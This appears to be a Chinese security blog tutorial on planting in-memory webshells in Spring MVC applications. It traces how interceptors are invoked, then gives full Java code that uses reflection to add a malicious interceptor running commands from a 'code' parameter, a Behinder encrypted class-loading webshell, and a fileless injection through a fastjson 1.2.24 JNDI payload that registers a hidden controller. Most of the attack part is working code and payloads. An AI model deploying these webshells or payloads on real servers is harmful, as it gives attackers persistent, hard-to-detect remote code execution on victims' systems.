  1. preHandle:20, TestInterceptor (com.spring.Interceptor)
  2. applyPreHandle:133, HandlerExecutionChain (org.springframework.web.servlet)
  3. doDispatch:962, DispatcherServlet (org.springframework.web.servlet)
  4. doService:901, DispatcherServlet (org.springframework.web.servlet)
  5. processRequest:970, FrameworkServlet (org.springframework.web.servlet)
  6. doGet:861, FrameworkServlet (org.springframework.web.servlet)
  7. service:626, HttpServlet (javax.servlet.http)
  8. service:846, FrameworkServlet (org.springframework.web.servlet)
  9. service:733, HttpServlet (javax.servlet.http)
  10. internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
  11. doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
  12. doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
  13. internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
  14. doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
  15. invoke:201, StandardWrapperValve (org.apache.catalina.core)
  16. invoke:97, StandardContextValve (org.apache.catalina.core)
  17. invoke:544, AuthenticatorBase (org.apache.catalina.authenticator)
  18. invoke:143, StandardHostValve (org.apache.catalina.core)
  19. invoke:81, ErrorReportValve (org.apache.catalina.valves)
  20. invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
  21. invoke:78, StandardEngineValve (org.apache.catalina.core)
  22. service:364, CoyoteAdapter (org.apache.catalina.connector)
  23. service:616, Http11Processor (org.apache.coyote.http11)
  24. process:65, AbstractProcessorLight (org.apache.coyote)
  25. process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote)
  26. doRun:1629, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
  27. run:49, SocketProcessorBase (org.apache.tomcat.util.net)
  28. runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
  29. run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
  30. run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
  31. run:748, Thread (java.lang)

关键的点在于doDispatch方法处,先通过getHandler方法获取了mappedHandler对象
image.png
在后方调用mappedHandler的applyPreHandler方法
image.png
这个方法中就是依次调用每个interceptor实例的preHandle方法,实际上就进入了前面写好的TestInterceptor类的preHandle方法中
image.png
在这里就有去调用写的TestInterceptor类中的preHandle方法
image.png
最后到我们写的方法中,执行完成返回true,至此就完成拦截器的调用
image.png

动态注入

跟踪mappedHandler的获取过程,先是调用了org.springframework.web.servlet.DispatcherServlet中的getHandler方法
跟进getHandler方法,遍历了this.handlerMappings
image.png
跟进getHandler(request)方法,
image.png
发现是调用的是AbstractHandlerMapping (org.springframework.web.servlet.handler) 也就是org.springframework.web.servlet.handler.AbstractHandlerMapping类中getHandler方法
image.png
再跟进getHandlerExecutionChain方法
image.png
发现其中会遍历adaptedInterceptors这数组,并判断获取的interceptor实例是不是MappedInterceptor类的实例对象,而MappedInterceptor类就是对拦截器HandlerInterceptor接口的实现,所以前面定义的TestInterceptor自然会被加入chain中并返回
image.png
那么如果我们能将恶意的interceptor实例添加到org.springframework.web.servlet.handler.AbstractHandlerMapping类的实例对象的adaptedInterceptors中,那么就可以完成动态注入那么关键就在于找到org.springframework.web.servlet.handler.AbstractHandlerMapping类的实例对象,CTRL+ALT+B找到所有AbstractHandlerMapping的子类,并在beanFactorybeanDefinitionNames中找到它的实例
image.png
因此可以通过context.getBean(“org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping”)获取该对象,再反射获取其中的adaptedInterceptors属性,并添加恶意interceptor实例对象即可完成内存马的注入

实例

0x1 注入普通马

  1. package com.spring.Controller;
  2. import org.springframework.stereotype.Controller;
  3. import org.springframework.web.bind.annotation.RequestMapping;
  4. import org.springframework.web.context.WebApplicationContext;
  5. import org.springframework.web.context.request.RequestContextHolder;
  6. import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
  7. import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
  8. import javax.servlet.http.HttpServletRequest;
  9. import javax.servlet.http.HttpServletResponse;
  10. @Controller
  11. public class Test extends HandlerInterceptorAdapter {
  12. @RequestMapping(value = "/a")
  13. public String test() throws NoSuchFieldException, IllegalAccessException {
  14. // 获取当前上下文的dispatch-servletContext
  15. WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  16. // 从context中获取AbstractHandlerMapping的实例对象
  17. org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
  18. // 反射获取adaptedInterceptors属性
  19. java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
  20. field.setAccessible(true);
  21. java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
  22. System.out.println(adaptedInterceptors);
  23. System.out.println(adaptedInterceptors.get(0).getClass().toString());
  24. // 避免重复
  25. for(Object object : adaptedInterceptors){
  26. if(object instanceof Test){
  27. System.out.println("已经添加过Test实例了");
  28. return "hello";
  29. }
  30. }
  31. // 向添加恶意的interceptor实例对象
  32. Test test = new Test();
  33. adaptedInterceptors.add(test);
  34. return "hello";
  35. }
  36. public Test(){}
  37. // 复写 prehandle方法
  38. @Override
  39. public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception{
  40. String code = request.getParameter("code");
  41. // 不干扰正常业务逻辑
  42. if (code != null) {
  43. java.lang.Runtime.getRuntime().exec(code);
  44. return true;
  45. }
  46. else {
  47. return true;
  48. }
  49. }
  50. }

访问该路由之后,如下所示,在 adaptedInterceptors 数组中已经有添加过的恶意添加的interceptor
image.png
最后在如下所示code参数添加命令,则可以直接执行命令
image.png

0x2 注入冰蝎马

原理同controller注入冰蝎马

  1. package com.spring.Controller;
  2. import org.springframework.stereotype.Controller;
  3. import org.springframework.web.bind.annotation.RequestMapping;
  4. import org.springframework.web.context.WebApplicationContext;
  5. import org.springframework.web.context.request.RequestContextHolder;
  6. import org.springframework.web.context.request.ServletRequestAttributes;
  7. import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
  8. import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
  9. import javax.crypto.Cipher;
  10. import javax.crypto.spec.SecretKeySpec;
  11. import javax.servlet.http.HttpServletRequest;
  12. import javax.servlet.http.HttpServletResponse;
  13. import javax.servlet.http.HttpSession;
  14. import java.util.HashMap;
  15. import java.util.Map;
  16. @Controller
  17. public class Test extends HandlerInterceptorAdapter {
  18. private final String k = "e45e329feb5d925b";
  19. @RequestMapping(value = "/a")
  20. public String test() throws NoSuchFieldException, IllegalAccessException {
  21. WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  22. org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
  23. java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
  24. field.setAccessible(true);
  25. java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
  26. System.out.println(adaptedInterceptors);
  27. System.out.println(adaptedInterceptors.get(0).getClass().toString());
  28. for(Object object : adaptedInterceptors){
  29. if(object instanceof Test){
  30. System.out.println("已经添加过Test实例了");
  31. return "hello";
  32. }
  33. }
  34. Test test = new Test();
  35. adaptedInterceptors.add(test);
  36. return "hello";
  37. }
  38. public Test(){}
  39. @Override
  40. public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception{
  41. String code = request.getParameter("code");
  42. // 不干扰正常业务逻辑
  43. if (code != null) {
  44. behinder();
  45. return true;
  46. }
  47. else {
  48. return true;
  49. }
  50. }
  51. public HttpServletResponse behinder() throws Exception {
  52. HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
  53. HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
  54. HttpSession session = request.getSession();
  55. if (request.getMethod().equals("POST")) {
  56. session.setAttribute("u", this.k);
  57. Cipher c = Cipher.getInstance("AES");
  58. c.init(2, new SecretKeySpec(this.k.getBytes(), "AES"));
  59. HelloWorldController helloWorldController = new HelloWorldController(ClassLoader.getSystemClassLoader());
  60. String base64String = request.getReader().readLine();
  61. byte[] bytesEncrypted = new sun.misc.BASE64Decoder().decodeBuffer(base64String);
  62. byte[] bytesDecrypted = c.doFinal(bytesEncrypted);
  63. Class newClass = helloWorldController.g(bytesDecrypted);
  64. Map<String, Object> pageContext = new HashMap<String, Object>();
  65. pageContext.put("session", session);
  66. pageContext.put("request", request);
  67. pageContext.put("response", response);
  68. newClass.newInstance().equals(pageContext);
  69. }
  70. return response;
  71. }
  72. }

image.png

无文件落地注入

这里我使用maven添加fastjson 1.2.24,使用jndi注入,当newInsatnce之后注册路由,并在此路由上绑定对应Controller

0x1 jndi 测试

Spring 要解析客户端发送的json数据,大部分是使用Jackson,fastjson也可以
首先引入依赖

  1. <dependency>
  2. <groupId>com.alibaba</groupId>
  3. <artifactId>fastjson</artifactId>
  4. <version>1.2.24</version>
  5. </dependency>

然后在Controller里写入由fastjson解析json对象的方法

  1. @RequestMapping(value = "/testjson", consumes = {"application/json"},
  2. produces = {"application/json"})
  3. @ResponseBody
  4. public String showUserListInJson(HttpServletRequest request,HttpServletResponse response) throws IOException {
  5. BufferedReader bufferedReader = request.getReader();
  6. String bodyStr,body = "";
  7. while((bodyStr = bufferedReader.readLine()) != null){
  8. body += bodyStr;
  9. }
  10. System.out.println(body);
  11. System.out.println(JSON.parse(body));
  12. return body;
  13. }
  1. package com.spring.Controller;
  2. public class User {
  3. private Integer userId = 0;
  4. private String userName = "";
  5. public User(){}
  6. public Integer getUserId() {
  7. return this.userId;
  8. }
  9. public void setUserId(Integer userId) {
  10. System.out.println("set running");
  11. this.userId = userId;
  12. }
  13. public String getUserName() {
  14. return this.userName;
  15. }
  16. public void setUserName(String userName) {
  17. System.out.println("set running");
  18. this.userName = userName;
  19. }
  20. @Override
  21. public String toString(){
  22. return "User{" +
  23. "name='" + userName + '\'' + ',' + "id='" + userId + '\'' +
  24. '}';
  25. }
  26. }
  1. public class Exec {
  2. public Exec() {
  3. System.out.println("hello world");
  4. }
  5. }

启动web,启动marshalsec,发送如下payload

  1. POST /testjson HTTP/1.1
  2. Host: 127.0.0.1:8081
  3. Cache-Control: max-age=0
  4. sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
  5. sec-ch-ua-mobile: ?0
  6. Upgrade-Insecure-Requests: 1
  7. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
  8. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  9. Sec-Fetch-Site: none
  10. Sec-Fetch-Mode: navigate
  11. Sec-Fetch-User: ?1
  12. Sec-Fetch-Dest: document
  13. Accept-Encoding: gzip, deflate
  14. Accept-Language: zh-CN,zh;q=0.9
  15. Connection: close
  16. Content-Type: application/json
  17. Content-Length: 112
  18. {
  19. "@type":"com.sun.rowset.JdbcRowSetImpl",
  20. "dataSourceName":"ldap://127.0.0.1:1389/abc",
  21. "autoCommit":true
  22. }

image.png

0x2 jndi 注入冰蝎马

如果执行的字节码文件需要不用引入其他包,那么直接执行Runtime.getRuntime.exec即可执行命令,反弹shell等操作,但是如果需要在spring 应用中注入,那么需要使用spring相关的包,才能获取到对应的context,在这里需要使用maven项目,添加对应的spring 包,或者有jar包也可以直接添加到lib文件里,然后用idea编译成class文件,对应在target目录下

  1. import org.springframework.web.context.WebApplicationContext;
  2. import org.springframework.web.context.request.RequestContextHolder;
  3. import org.springframework.web.context.request.ServletRequestAttributes;
  4. import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
  5. import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
  6. import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
  7. import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
  8. import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
  9. import javax.crypto.BadPaddingException;
  10. import javax.crypto.Cipher;
  11. import javax.crypto.IllegalBlockSizeException;
  12. import javax.crypto.NoSuchPaddingException;
  13. import javax.crypto.spec.SecretKeySpec;
  14. import javax.servlet.http.HttpServletRequest;
  15. import javax.servlet.http.HttpServletResponse;
  16. import javax.servlet.http.HttpSession;
  17. import java.io.IOException;
  18. import java.lang.reflect.Field;
  19. import java.lang.reflect.InvocationTargetException;
  20. import java.lang.reflect.Method;
  21. import java.security.InvalidKeyException;
  22. import java.security.NoSuchAlgorithmException;
  23. import java.util.*;
  24. public class Exec extends ClassLoader{
  25. private final String k = "e45e329feb5d925b";
  26. public Exec(ClassLoader c) {
  27. super(c);
  28. }
  29. public Class g(byte[] b) {
  30. return super.defineClass(b, 0, b.length); // 调用父类的defineClass函数
  31. }
  32. public Exec(String aaa){}
  33. public Exec() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
  34. WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  35. // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
  36. RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
  37. // 可选步骤,判断url是否存在
  38. AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
  39. Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
  40. method.setAccessible(true);
  41. Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
  42. Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
  43. field.setAccessible(true);
  44. Map urlLookup = (Map) field.get(mappingRegistry);
  45. Iterator urlIterator = urlLookup.keySet().iterator();
  46. List<String> urls = new ArrayList();
  47. while (urlIterator.hasNext()){
  48. String urlPath = (String) urlIterator.next();
  49. if ("/jnditest".equals(urlPath)){
  50. System.out.println("url已存在");
  51. return;
  52. }
  53. }
  54. // 可选步骤,判断url是否存在
  55. // 2. 通过反射获得自定义 controller 中test的 Method 对象
  56. Method method2 = Exec.class.getMethod("test");
  57. // 3. 定义访问 controller 的 URL 地址
  58. PatternsRequestCondition url = new PatternsRequestCondition("/jnditest");
  59. // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
  60. RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
  61. // 5. 在内存中动态注册 controller
  62. RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
  63. // 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
  64. Exec injectToController = new Exec("aaa");
  65. mappingHandlerMapping.registerMapping(info, injectToController, method2);
  66. System.out.println("hello world");
  67. }
  68. // controller指定的处理方法
  69. public HttpServletResponse test() throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, IOException, BadPaddingException, IllegalBlockSizeException, IllegalAccessException, InstantiationException {
  70. HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
  71. HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
  72. HttpSession session = request.getSession();
  73. if (request.getMethod().equals("POST")) {
  74. session.setAttribute("u", this.k);
  75. Cipher c = Cipher.getInstance("AES");
  76. c.init(2, new SecretKeySpec(this.k.getBytes(), "AES"));
  77. Exec helloWorldController = new Exec(ClassLoader.getSystemClassLoader());
  78. String base64String = request.getReader().readLine();
  79. byte[] bytesEncrypted = new sun.misc.BASE64Decoder().decodeBuffer(base64String);
  80. byte[] bytesDecrypted = c.doFinal(bytesEncrypted);
  81. Class newClass = helloWorldController.g(bytesDecrypted);
  82. Map<String, Object> pageContext = new HashMap<String, Object>();
  83. pageContext.put("session", session);
  84. pageContext.put("request", request);
  85. pageContext.put("response", response);
  86. newClass.newInstance().equals(pageContext);
  87. }
  88. return response;
  89. }
  90. }

生成的Exec.class
image.png
image.png
image.png

问题总结

  1. 编译的时候,jdk最好选择服务器对应的jdk版本,jdk11 和 jdk8 跨大版本,在编译成功之后使用jndi注入会报错,而且是十分致命的错误
  2. maven项目,尽量也要选择与目标主机spring相差不大的版本,保证能获取到Context

    参考链接

    https://landgrey.me/blog/19/
    https://landgrey.me/blog/12/
    https://www.anquanke.com/post/id/198886#h2-0
    https://www.cnblogs.com/bitterz/p/14820898.html
    https://www.cnblogs.com/wudb/archive/2017/08/31/7458856.html
    https://www.cnblogs.com/DDgougou/p/9621675.html
    https://blog.csdn.net/xcxy2015/article/details/80746614
    https://stackoverflow.com/questions/34414906/classloading-using-different-versions-of-the-same-class-java-lang-linkageerror
    https://blog.csdn.net/weixin_44411569/article/details/91379483
    https://www.yuque.com/da-labs/secnotes/vlynoy
    https://www.yuque.com/da-labs/secnotes/fxpgwc
    https://www.yuque.com/da-labs/secnotes/vzrsvx